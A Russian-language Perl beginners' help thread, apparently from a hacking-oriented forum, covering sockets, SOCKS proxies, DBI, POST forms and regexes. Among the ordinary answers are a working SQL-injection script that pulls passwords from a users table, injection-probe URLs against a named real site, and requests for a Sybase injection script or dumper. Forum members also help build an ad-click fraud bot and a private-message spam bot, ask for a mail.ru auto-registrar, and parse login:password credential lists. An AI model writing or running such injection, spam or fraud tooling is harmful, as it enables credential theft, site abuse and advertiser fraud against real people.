Ну это так, баловство... Для красоты..))
Заранее спасибо.. ;)
Fepsis
system("cls");
Спасибо..) :) Работает..)
А нельзя ли очистить часть экрана..?! Например, только последнюю строчку... Конечно всё задуманное можно и с system("cls"); замутить, но если есть возможность удалять часть сообщений, то я не хочу изобретать велостпед :)
Подскажите как в perl с сокс5 подконнектиться и вывести страницу?
Весь инет перерыл, ничего ненашел
такая проблема ...
получаю в ответ от сервера ошибку ...
Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
перевод :
Подтверждение ViewState MAC неудачу. Если это приложение размещается веб-фермы или кластере, убедитесь, что конфигурация <machineKey> задает тот же validationKey и проверка алгоритма. AutoGenerate не может быть использована в кластере.
Как исправить ?
Вопрос по потокам:
В скрипте задаётся массив @bas с некоторым количеством элементов...
Создаю процедуру, которая извлекает по одному элементу массива и дописывает его в файл... Сама процедура:
sub gogo
{
my ($name) = @_;
while($elm = shift(@bas))
{
open(OUT, ">> $name.txt");
print OUT "$elm\r\n";
close(OUT);
}
}
Далее создаю несколько потоков, выполняющих функцию gogo и прописываю ждать завершения работы всех потоков...
foreach $ac (@acc)
{
push @threads, threads->create(\&gogo, $ac);
}
foreach my $thread (@threads)
{
$thread->join();
}
Каждый поток создаёт свой файл, куда записывает элементы массива, которые он обработал (извлёк из массива)...
Что я ожидал от работы этого скрипта..?? Ожидал я, что элементы массива @bas будут распределены по файлам потоков.. тоесть первый поток вытащил первый элемент, записал в свой файл, второй поток - второй элемент, и записал уже в свой файл.. и т.д.
А в результате каждый поток пробегает весь массив целиком... Причём я даже пробовал каждому из потоков задать разные задержки.. Почему так происходит, я же извлекаю элементы с помощью shift, который удаляет элемент..?! Как лучше реализовать задуманное..?!
Ох уж эти потоки( Точно не помню, но вроде должно помочь
use threads::shared;
my @bas : shared;
такая проблема ...
получаю в ответ от сервера ошибку ...
Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
перевод :
Подтверждение ViewState MAC неудачу. Если это приложение размещается веб-фермы или кластере, убедитесь, что конфигурация <machineKey> задает тот же validationKey и проверка алгоритма. AutoGenerate не может быть использована в кластере.
?
Так что это может быть ... проверил весь скрипт тысячу раз ... серверу уходит верный запрос ... а в ответ такое ... Может быть Win 7 ???
Вроде разобрался как с соксами работать, но не хочет оно на сайт заходить, заходит только на ип сервера =\
my $sock = new Net::SOCKS(socks_addr => '123.123.123.123',
socks_port => 9671,
protocol_version => 5);
my $f= $sock->connect(peer_addr => '2ip.ru', peer_port => 80);
print "connect status: ",
Net::SOCKS::status_message($sock->param('status_num')), "\n";
if ($sock->param('status_num') == SOCKS_OKAY) {
print $f "clintdw\n";
while (<$f>) { print }
$sock->close();
}
1NtR0
Что значит " заходит только на ип сервера" ?
А что за херню вы посылаете заместо http-запроса?
BluR
А причем тут Perl?
Fepsis
Последнюю строку можно просто выводить без переноса строки:
perl -e"$|++; print qq($_\r) and sleep 1 for 1..20"
1NtR0
Что значит " заходит только на ип сервера" ?
А что за херню вы посылаете заместо http-запроса?
Заходит например не на ww.2ip.ru а на 188.40.74.9 (это ип адрес сервера, на котором находиться 2ip.ru)
ВОт и я незнаю что за херня, знал бы не спрашивал.. Как правильно сделать ?
1NtR0
print $f "GET http://2ip.ru/ HTTP/1.1\n"
. "Host: 2ip.ru\n\n";
С HTTP-протоколом начинай знакомиться. (;
1NtR0
print $f "GET http://2ip.ru/ HTTP/1.1\n"
. "Host: 2ip.ru\n\n";
С HTTP-протоколом начинай знакомиться. (;
Твой код ничего не выводит
1NtR0, вооружайтесь RFC и снифером и смотрите, какие пакеты отсылаются и принимаются. Для примера работы с соксами на перле можете посмотреть Toolza от Pashkela. Там все на сокетах реализовано
BluR
А причем тут Perl?
При том что это в ответ получай perl скрипт ... хотелось бы знать не может ли быть в нём проблемы ??? может я что то недоотправляю ... как я понимаю ошибка в том что мак адрес не соответствует тому для которого сгенерированна переменная , которая в свою очередь выдергивается из страницы которую скрипт получает до этого ... да и если бы переменная была бы не верной выдавалась бы другая ошибка ...
P.s : с perl знаком от силы неделю .... поэтому и спрашиваю ...
Твой код ничего не выводит
Мой код пишет http-запрос в сокет, а выводить что-то должен твой код.
Кстати, если работешь с socks5, то попробуй еще модуль IO::Socket::Socks, он поудобней:
use strict;
use warnings;
use IO::Socket::Socks;
my $socks = new IO::Socket::Socks(
ProxyAddr => '98.203.236.60',
ProxyPort => 43981,
ConnectAddr => '2ip.ru',
ConnectPort => 80
) or die 'can\'t conect to proxy';
print $socks "GET / HTTP/1.1\n"
. "Host: 2ip.ru\n\n";
print while <$socks>;
$socks->close();
BluR
Тут кодеры на вопросы отвечают, а не экстрасенсы. Показать свой сверхсекретный код не желаешь? (;
BluR
Тут кодеры на вопросы отвечают, а не экстрасенсы. Показать свой сверхсекретный код не желаешь? (;
Ничего секретного ... вот кусок кода ... весь код большой ... да и до этого есть только гет запросы которые в ответ получают нормальные страницы ...
$answ =~ s/\s*.*VIEWSTATE"\svalue="//igxsm;
$answ =~ s/"\s*.*\s*//igxsm;
my $VIEWSTATE = uri_escape("$answ");
$eve =~ s/\s*.*id="__EVENTVALIDATION"\s*value="//igxsm;
$eve =~ s/"\s*.*\s*//igxsm;
my $EVENTVALIDATION = uri_escape("$eve");
my $reg = $ua->post("http://profil.centrum.cz/icq.aspx",
['__EVENTTARGET' => ,
'__EVENTARGUMENT' => ,
'__VIEWSTATE' =>$VIEWSTATE,
'ua_icqstatus' => '1',
'ua_icq' => ,
'icqpassword' => ,
'passwordset' => '0',
'ua_securitycode_question' =>$scr,
'ua_securitycode_answer' =>$captcha,
'btnconnect' => '',
'__VIEWSTATEENCRYPTED=' => ,
'__EVENTVALIDATION' =>$EVENTVALIDATION,])->as_string;
Проблема решена ... сори за беспокойство )))
Очень прошу помощи. Хотелось бы сделать небольшую регистрацию на сайте и запретить регистрацию ников меньше 5 символов. Написал:
if ($domen => 5) {
# если больше или равно
}
else {
#если меньше
}
А в чем затруднение-то?
if (length $username >= 5) {
# Good
} else {
# Error
}
А в чем затруднение-то?
if (length $username >= 5) {
# Good
} else {
# Error
}
Огромное спасибо!!!!
PS перл начал учить неделю назад. Надо будет почитать про length
Доброго времени суток!) Вот пишу скрипт, обрабатывающий определенным образом инет страницу(указываем урл). Суть проблемы в том, что я не знаю какой модуль использовать для парсинга страниц? И что делать, например, с сылками вида www.site.ru/page1/ , где не указан конкрентный файл?
Для парсинга страниц используются регулярные выражения, дополнительные модули тут не нужны. Для получения содержимого страниц юзайте модуль LWP
Может кто подскажет как работать с модулем dbi? $dbh->do("ЗАПРОС");
Возвращает кол-во измененных строк, как мне показать сами строки?Запрос примерно такой
SELECT `namesite` FROM `users` WHERE `name` LIKE '$domen'
А с документацией по модулю ознакомиться - не вариант?
http://search.cpan.org/~timb/DBI-1.609/DBI.pm
Где взять инклуд Javascript.pm?
http://search.cpan.org/~claesjac/JavaScript-1.15/lib/JavaScript.pm
А с документацией по модулю ознакомиться - не вариант?
http://search.cpan.org/~timb/DBI-1.609/DBI.pm
попробовал так
my $namesite = $dbh->prepare("SELECT `namesite` FROM `users` WHERE `name` LIKE '$domen' LIMIT 0 , 30");
$sth->execute( $namesite );
$name = $sth->fetchrow_array;
print "$name";
не получаю ни чего. Подскажи
А по мануалу попробовать?
$sth = $dbh->prepare("SELECT foo, bar FROM table WHERE baz=?");
$sth->execute( $baz );
while ( @row = $sth->fetchrow_array ) {
print "@row\n";
}
А по мануалу попробовать?
решил так
$sth = $dbh->prepare("SELECT `namesite` FROM `users` WHERE `name` LIKE '$domen' LIMIT 0 , 30");
$sth->execute();
@row = $sth->fetchrow_array;
print "@row";
daniel_1024
25.01.2010, 21:58
подскажите как сделать чтобы программа считывала из заданного пользователем с клавиатуры текстовика по строке, и производила с ней какие - либо действия ? и результат потом записывала в текстовый файл.
<form method="POST">
<textarea name="input_text" rows="10" cols="50"></textarea>
<input type="submit" />
</form>
<?php
if(isset($_POST['input_text']))
{
$text_arr = explode("\n",$_POST['input_text']);
$handler = fopen("result.txt","w");
for($i = 0; $i < count($text_arr); $i++)
{
fputs($handler,"Строка $i > ".$text_arr[$i]."\n");
}
fclose($handler);
}
?>
daniel_1024
25.01.2010, 23:14
можно то же самое на perl ? а не на пхп
топик всё-таки называется "[Perl] Новичкам: задаем вопросы"..я сюда и постил.
подскажите как сделать чтобы программа считывала из заданного пользователем с клавиатуры текстовика по строке, и производила с ней какие - либо действия ? и результат потом записывала в текстовый файл.
$file = <STDIN>;
open(FILE, "<$file");
while($line = <FILE>)
{
#действия
}
open(FILE2, ">$file2");
close(FILE);
close(FILE2);
Ты это ожидал увидеть?
daniel_1024
31.01.2010, 16:38
del
хелп.нужен скрипт на перле со скулей в запросе. БД -сибейз.
чтоб не было проблем, вот с чего начинется рабочий скрипт:
use POSIX qw(strftime);
use DBI;
use DBD::Sybase;
use Socket;
#use Date::Parse;
use FileHandle;
или дампер баз Sybase на перле.
Парни, знаю, что вопрос уже поднимался, но всё же, гляньте профессиональным взглядом... Может подскажите где косяк...
Заливаю картинку на сервер:
sub rload
{
my ($url, $post_data, $ref) = @_;
my $request = HTTP::Request->new(POST => $url);
$request->header(
'User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4",
'Content-Length' => length($post_data),
'Referer' => $ref
);
$request->content_type('multipart/form-data; boundary=---------------------------1234567890');
$request->content($post_data);
my $result = $robot->request($request);
$cookie_jar->extract_cookies($result);
return $result->headers_as_string()."\n\n".$result->content();
}
$url = 'http://урл';
$ref = 'http://урл';
open(F, 'foto.jpg');
$file = join("", <F>);
close(F);
$post_data =
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"a\"\n\n".
"addfoto\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"s\"\n\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"d\"\n\n".
"1\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"to\"\n\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"addfile\"; filename=\"foto.jpg\"\n".
"Content-Type: image/jpeg\n\n".
$file."\n";
$ex = rload($url, $post_data, $ref);
ПС: то, что я картинку открываю неправильно, это я знаю... Обещаю исправиться :) Это вроде не столь важно, так как при таком открытии картинка искажённая получается, но мне хотябы искажённую залить пока или получить ответ, что формат картинки неверный.. А так возвращает форму загрузки картинки.. :(
Fepsis, perldoc HTTP::Request::Common. Там есть пример, как отсылать POST-ом файл
krypt3r, спасибо огромное за подсказку... В коде моего предыдущего поста я уже несколько косяков исправлял, переписывал на сокетах - нифига не работало..
С HTTP::Request::Common сделал буквально в несколько строк.. Всё пашет как надо.. ;)
taxpayer
09.02.2010, 21:27
переписывал на сокетах - нифига не работало..
С HTTP::Request::Common сделал буквально в несколько строк.. Всё пашет как надо.. ;)
HTTP::Request::Common - оболочка над сокетами. Криво написал на сокетах вот и не работает ;)
1mposible
13.02.2010, 10:54
Знающие сей чудесный язык програмирования помогите!!!
Нада написать скрипт.
его задача:
Заполнение Форм На заданном сайте и нажатие на определённую кнопку. Но Заполнение формы должно идти из файла (базы тхт,мускуль, без разницы.) , причём каждое новое заполнение - берёться из последующей строки (Пример:1.Вася 2.Петя 3.Женя 4.Юля ... ; 1 заполнение Вася, 2 заполнение Петя, 3 заполнение Женя, 4 Заполнение Юля и т.д.)
+ К этому должен показываться вывод, пошла одна из строк или нет...
Кстати вот нашёл коментарии в нете мб поможет комуто...
пользуешь LWP и HTML::Form зашибись заполняет поля и нажимает кнопочку Submit )) только не в браузере )
PS на сколько я думаю , надо будет использование кукизов и хешей...
Знаю что кайми у вас тут хорошо в перле понимает...
anubis666
14.02.2010, 16:08
Привет всем) я бы хотел у Вас спросить какой нужен модуль для того что бы фильтровать текст на наличие html тегов. То есть в форме есть поле opisanie после того как содержимое поля отправится на сервер мне нужно его проверить на наличие html тегов и если таковые имеются то удалить их.
anubis666, регулярка вполне подойдет
-=Zhenek=-
15.02.2010, 08:32
$name=~s/<[^>]*>//gs;
anubis666
15.02.2010, 11:37
спасибо)
anubis666
17.02.2010, 19:54
Здравствуйте))можно узнать ,возможно-ли часть кода выбрать из mysql и после тога как выбрали его от туда,заинклюдить его в программу... то есть
$qwerty->prepar(~~~);
$qwerty->execute();
$qwerty_1=$qwerty->fetchrow_array();
$qwerty->finish(); #выбираем часть кода из бд
А ЧТО ПОТОМ НАДО сделать? не писать же просто $qwerty;
или моя задумка неосуществима?!
а теперь перепиши свой пост на русский язык
anubis666
17.02.2010, 22:02
эх..ну начнем))
допустим в БД есть таблица test и в поле CODE записано к примеру
if(1>0){
####
}else{
####
}
теперь после того когда я получил значение этого поля,возможно ли его использовать в программе?если да то как?
теперь после того когда я получил значение этого поля,возможно ли его использовать в программе?если да то как?
http://perldoc.perl.org/functions/eval.html
Vlad&slav
18.02.2010, 15:10
Я написал скрипт на перле с циклом. Как в перле делать многопоточность?
http://www.smolensk2.ru/search.php?id=1'
http://www.smolensk2.ru/user.php?login=1'
помогите разобраться зарание благодарю!
Здравствуйте!
Имеется форма для отсылки ПМ такого вида:
<form action="/messages/new" accept-charset="UTF-8" method="post" id="privatemsg-new">
<div><fieldset><div class="form-item" id="edit-recipient-wrapper">
<label for="edit-recipient">Для: <span class="form-required" title="Обязательное поле">*</span></label>
<input autocomplete="OFF" maxlength="128" name="recipient" id="edit-recipient" size="50" value="" class="form-text form-autocomplete required" type="text">
<div class="description">Separate multiple names with commas.</div>
</div>
<input class="autocomplete autocomplete-processed" id="edit-recipient-autocomplete" value="http://maxya.ru/messages/user-name-autocomplete" disabled="disabled" type="hidden"><div class="form-item" id="edit-subject-wrapper">
<label for="edit-subject">Заголовок: </label>
<input maxlength="255" name="subject" id="edit-subject" size="50" value="" class="form-text" type="text">
</div>
<div class="form-item" id="edit-body-wrapper">
<label for="edit-body">Сообщение: </label>
<div class="resizable-textarea"><span><textarea cols="60" rows="6" name="body" id="edit-body" class="form-textarea resizable textarea-processed"></textarea><div style="margin-right: -6px;" class="grippie"></div></span></div>
</div>
<ul class="tips"><li>Адреса страниц и электронной почты автоматически преобразуются в ссылки.</li><li>Доступны HTML теги: <a> <img> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <br> <hr> <h1> <h2> <h3> <b> <i> <u> <object> <param> <embed> <br> <div> <p></li><li>Строки и параграфы переносятся автоматически.</li><li>You may use <a href="/filter/tips/1#filter-inline">[inline:xx] tags</a> to display uploaded files or images inline.</li><li>Image links with 'rel="lightbox"' in the <a> tag will appear in a Lightbox when clicked on.</li><li><p>Search Engines will index and follow ONLY links to allowed domains.</p>
</li><li><a href="/filter/tips/1#filter-smileys-0">Textual smileys</a> will be replaced with graphical ones.</li></ul><p><a href="/filter/tips">Подробнее о форматировании</a></p><input name="op" id="edit-preview" value="Preview message" class="form-submit" type="submit">
<input name="op" id="edit-submit" value="Send message" class="form-submit" type="submit">
<a href="/messages" id="edit-cancel">Отмена</a></fieldset>
<input name="form_build_id" id="form-8e3dc897f3e604814beeb5ad020ed83b" value="form-8e3dc897f3e604814beeb5ad020ed83b" type="hidden">
<input name="form_token" id="edit-privatemsg-new-form-token" value="4fec487381193d5a1840b549fafdcabc" type="hidden">
<input name="form_id" id="edit-privatemsg-new" value="privatemsg_new" type="hidden">
</div></form>
пытаюсь запостить в нее так -
$res = $ua->post($pm_url, [
'recipient' => $recipient,
'subject' => 'hello',
'body' => 'hi fuckhead!',
'form_id' => 'privatemsg_new',
]);
но возвращается 200 и "Ошибка при проверке значения, пожалуйста повторите".
Поле "кому" (recipient) не заполняется, подозреваю, что проверяется ajax-ом - "class="form-text form-autocomplete required" type="text".
Есть ли способ обойти проверку?
Спасибо.
maxya, отправляй все поля формы, в том числе и скрытые...
form_build_id
form_token
и т.д. предварительно отпарситв их значения, если они меняются... А вообще юзай сниффер заголовков, чтобы знать наверняка какой запрос идёт на сервак...
maxya, отправляй все поля формы, в том числе и скрытые...
form_build_id
form_token
и т.д. предварительно отпарситв их значения, если они меняются... А вообще юзай сниффер заголовков, чтобы знать наверняка какой запрос идёт на сервак...
Удачный запрос лога снифера:
recipient=user3&subject=test&body=messaga&op=Send+message&form_build_id=form-adbce093847bfcc5a037fdcadf41251a&form_token=4fec487381193d5a1840b549fafdcabc&form_id=privatemsg_new
$res = $ua->post($pm_url, [
'recipient' => $recipient,
'subject' => 'hello',
'body' => 'hi fuckhead!',
'form_id' => 'privatemsg_new',
'form_build_id' => $formbid,
'form-token' => $formtoken,
'op' => 'Send+message'
]);
Ответ:
logging in to http://cool-site as vasily...
302
PM formbid - form-69f23f90b6fa82a618e87f665a2851f2
PM formt - e476eda5f62d491daac6ee7f73620edb
Sending message to user3...
200 + "Ошибка при проверке значения, пожалуйста повторите."
{Здесь смайлик рвущий волосы на голове}
Все же смущает строка в свойствах формы "class="form-text form-autocomplete required" type="text"
На некотрых сайтах при отправке запроса идёт проверка referer, может каких то других параметров... Выложи весь код тут или в личку мне, может разберёмся...
2maxya
на сайте авторизация есть?
не забыл авторизоватся скриптом и получить куки?
Pashkela
26.02.2010, 22:28
сайт с тестовым паролем в студию - там дел на 2 мин
Всем спасибо за помощь, уже разобрался с помощью Fepsis, за что ему большое спасибо ;)
-Straniks-
14.03.2010, 18:38
Поделитесь пожалуйста скриптом- авторегер почты mail.ru с логинами из своей базы. база вида:
123@mail.ru
qwerty@list.ru
Кто поделится буду благодарен.
krypt3r, спасибо огромное за подсказку... В коде моего предыдущего поста я уже несколько косяков исправлял, переписывал на сокетах - нифига не работало..
С HTTP::Request::Common сделал буквально в несколько строк.. Всё пашет как надо.. ;)
Вот, может тебе полезно будет
http://habrahabr.ru/blogs/perl/63432/
ProfBiss
16.03.2010, 22:42
Помогите пожалуйста.
Есть файл следующего вида
логин@yandex.ru:пароль
логин@yandex.ru:пароль
Как можно распарсить строку на составляющие а именно логин сервер и пароль??
Помогите пожалуйста.
Есть файл следующего вида
логин@yandex.ru:пароль
логин@yandex.ru:пароль
Как можно распарсить строку на составляющие а именно логин сервер и пароль??
@razdel = split(/@/,$string);
split(/:/,$razdel[1]);
Вроде бы так о_0.
Как на perl'e точно, не знаю, на PHP знаю.
Pashkela
16.03.2010, 22:52
$choice = 'login@server.ru:pass';
$choice =~ m/(.*)@(.*):(.*)/img;
print $1 . " - " . $2 . " - " . $3;
$str = 'логин@домен:пароль';
$str =~ /^(.+?)@(.+?):(.+?)$/;
$login = $1;
$domail = $2;
$pass = $3;
ProfBiss
16.03.2010, 23:37
$str = 'логин@домен:пароль';
$str =~ /^(.+?)@(.+?):(.+?)$/;
$login = $1;
$domail = $2;
$pass = $3;
Спс
Пытаюсь сделать накрутчик рекламы AMN (adlabs)
Пример сайта с рекламой - _http://nadietah.ru (рекламный блок справа).
Почему-то при таком соединении с сайтом, рекламный блок не выводится.
my $ua = LWP::UserAgent->new(timeout => 15,
cookie_jar => new HTTP::Cookies,
Referrer => 'http://nadietah.ru',
agent => agent()); #рендомно агент
#until(proxy($ua)){};
print "\nConnecting to site: $siteurl \n";
my $res = $ua->get($siteurl);
#$_ = $res->content;
#my @alllinks = /href="(.+?)"/gi;
my @alllinks = $res->content =~ /href="(.+?)"/gi;
print "Got ".scalar @alllinks . " links\nProcessing...\n";
my @luxlinks;
foreach $key (@alllinks)
{
$key = $key =~ /href=\"(.+?luxup.+?)\"/;
print "$key\n" if $key;
}
В чем подвох?
Спасибо ;)
Реклама на сайте выводится с помощью javascript
А как его (js) заставить исполнится и отрендерить нужный html ?
А как его (js) заставить исполнится и отрендерить нужный html ?
Либо использовать модули эмулирующие выполнение js, либо смотри какие запросы шлет браузер, чтобы получить рекламу
taxpayer
24.03.2010, 21:01
$str = 'логин@домен:пароль';
$str =~ /^(.+?)@(.+?):(.+?)$/;
$login = $1;
$domail = $2;
$pass = $3;
:(
my ($a, $b, $c) = split '@|:' => 'a@b:c'
my ($a, $b, $c) = split '@|:' => 'a@b:c'
Чем этот вариант лучше?
taxpayer
24.03.2010, 21:15
Чем этот вариант лучше?
Потому что для этого придумали сплит, обёртку уже на регекспах
Потому что для этого придумали сплит, обёртку уже на регекспах
Сплит медленнее работает в данном случае
taxpayer
24.03.2010, 21:25
http://kaimi.ru/wp-content/uploads/2010/03/odsender_b.zip
Почему же у тебя тут сплитов столько?
Потому что я не использую конструкцию
split '@|:'
Из-за которой сплит медленнее отрабатывает
taxpayer
24.03.2010, 21:42
т.е. сплит с одним разделителем быстрее голого регекспа?
taxpayer
24.03.2010, 21:46
т.к. функция сплит построена на регекспах, она не может быть быстрее голых регекспов
Доброе время суток атач!
Пишу скриптик для пропоганды материалов партнерки через ПМ :D
Сайт работает на phpBB. Уже успешно залогинился. Добрался до страницы отправки ПМ и наткнулся снифером заголовков на:
Content-Type: multipart/form-data; boundary=---------------------------31316206715786
Content-Length: 1637
-----------------------------31316206715786
Content-Disposition: form-data; name="username"
Âëàäî÷êà
-----------------------------31316206715786
Content-Disposition: form-data; name="subject"
Áó-ãà-ãà
-----------------------------31316206715786
Content-Disposition: form-data; name="addbbcode18"
#444444
-----------------------------31316206715786
Content-Disposition: form-data; name="addbbcode20"
12
-----------------------------31316206715786
Content-Disposition: form-data; name="helpbox"
Ðàçìåð øðèôòà: ìàëåíüêèé òåêñò
-----------------------------31316206715786
Content-Disposition: form-data; name="message"
Âîò òàêàÿ õóéíÿ :)
-----------------------------31316206715786
Content-Disposition: form-data; name="add_attachment_body"
0
-----------------------------31316206715786
Content-Disposition: form-data; name="posted_attachments_body"
0
-----------------------------31316206715786
Content-Disposition: form-data; name="fileupload"; filename=""
Content-Type: application/octet-stream
-----------------------------31316206715786
Content-Disposition: form-data; name="filecomment"
-----------------------------31316206715786
Content-Disposition: form-data; name="folder"
inbox
-----------------------------31316206715786
Content-Disposition: form-data; name="mode"
post
-----------------------------31316206715786
Content-Disposition: form-data; name="sid"
9139ceb142e497a014214cdc9eacffb4
-----------------------------31316206715786
Content-Disposition: form-data; name="post"
Îòïðàâèòü
-----------------------------31316206715786--
Я уже наловчился обрабатывать однострочные POST запросы, а-ля
$res = $ua->post($log_url,
['username' => $login,
'password' => $pass,
'login' => $log_text
],);
но многострочных еще не видел :confused:
Как с ними работать? :confused:
Если не трудно, то можно небольшой примерчик :D
Спасибо ;)
$res = $ua->post($log_url,
['username' => 'Âëàäî÷êà',
'subject' => 'Áó-ãà-ãà',
'addbbcode18' => '#444444'
и т.д.
],);
$res = $ua->post($log_url,
['username' => 'Âëàäî÷êà',
'subject' => 'Áó-ãà-ãà',
'addbbcode18' => '#444444'
и т.д.
],);
Fepsis, спасибо за шустрый ответ
получается отправлять точно так же ? :)
А в чем же тогда разница пост запросов, скажем с таким?
username=Krevedko&password=123&redirect=&login=%C2%F5%EE%E4
т.е. почему сниффер по разному отображает?
потому что тот большой и мультистрочный? :)
что погуглить?
maxya, да попробуй отправить точно так же.. В случае отправки сообщения должно прокатить (у меня прокатывало)... Хотя можно и многострочный пост посылать... Но тут думаю смысла нет, обычно это юзается при заливке файлов на сервер...
Cybersteger
01.04.2010, 16:59
Народ помогите! Есть файл з :
my %SQL;
$SQL{dbserver} = 'сервер';
$SQL{dbdriver} = 'mysql';
$SQL{dbname} = 'бднаме';
############### Подсоединяемся к базе
$QUERY{dbhandle} = ConnectToSQL(\%SQL);
unless (defined($QUERY{dbhandle})) { print("Can't connect to '$SQL{dbserver}/$SQL{dbname}'\n"); }
my %DATA;
if($QUERY{edited} eq 'auth') { # если пришли после авторизации - читаем данные из базы
%DATA = GetDataFromDB(\%QUERY);
как здесь узнать конфиг базы,щоб потом к ней пидлючитись ?
Что значит "конфиг базы"?
2-4 строки говорят к какому серверу цепляться и с какой базой работать.
Немного не по сабжу, но чтобы темы не плодить:
На дедике при попытке получить контент любой страницы через LWP::UserAgent получаю ответ:
500 Can't connect to ya.ru:80 (Bad hostname 'ya.ru')
в чём трабла и как исправить..?! может порт как то прикрыт..?!
Кусок скрипта покажи
Да код не причём.. Что-то в настройках дедика... Код рабочий..)
Vlad&slav
03.04.2010, 23:43
Код рабочий..)
видимо на столько рабочий что его кто-то не пропускает
поробуй каконть малый простой скрипт для проверки соединения
видимо на столько рабочий что его кто-то не пропускает
поробуй каконть малый простой скрипт для проверки соединения
Да не стал бы я это тут постить, не убедившись в работоспособности скрипта... На любой другой машине (на моём компе, на других дедах) скрипт работает... На этом деде тоже работал, но видимо админ там что-то наколдовал, а дед хороший, жаль что простаивает... Простой скрипт для проверки тоже юзал.. результат тот же...
ЗЫ: запостил тут, так как думал, что кто-нибудь сталкивался с этим...
zeppe1in
04.04.2010, 13:30
Fepsis
а по ип попробуй соеденица. может днс серваки упали вот и Bad hostname 'ya.ru'
anubis666
04.04.2010, 16:36
Здравствуйте , можно узнать существует-ли в perl аналог php $_FILE ?
Pashkela
04.04.2010, 17:06
print "FILE: ", __FILE__ ;
anubis666
04.04.2010, 21:11
print "FILE: ", __FILE__ ;
с помощью этого мы получим путь к скрипту,а как получить содержимое файла из POST запроса?!
Предположу
use CGI;
my $data = $query->param('POSTDATA');
Так же почитайте перлдок по модулю CGI, раздел "CREATING A FILE UPLOAD FIELD"
Ponchik, это ветка про Perl... :)
ухтыёп, промахнулся :(
То-то я думаю, почему krypt3r на перле чёто там спрашивает
Я еще на перле не разговариваю =)
как прочитать допустим все символы со страницы
читает хэш:
if ($answer =~/([0-9a-fA-F]{32})/)
print "\n[+] Admin Hash : $1\n\n";
а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)
как прочитать допустим все символы со страницы
читает хэш:
if ($answer =~/([0-9a-fA-F]{32})/)
print "\n[+] Admin Hash : $1\n\n";
а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)
если контент страницы в переменной $answer, то:
print $answer;
пишет 400 url must be absolute
пишет 400 url must be absolute
Код весь выкладывай...
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$tab="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."mynews.php?id=1+union+select+password+from+".$tab."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$tab="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."mynews.php?id=1+union+select+password+from+".$tab."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";
Мммммм... поступим проще.. Напиши url страницы, с которой нужно получить контент...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot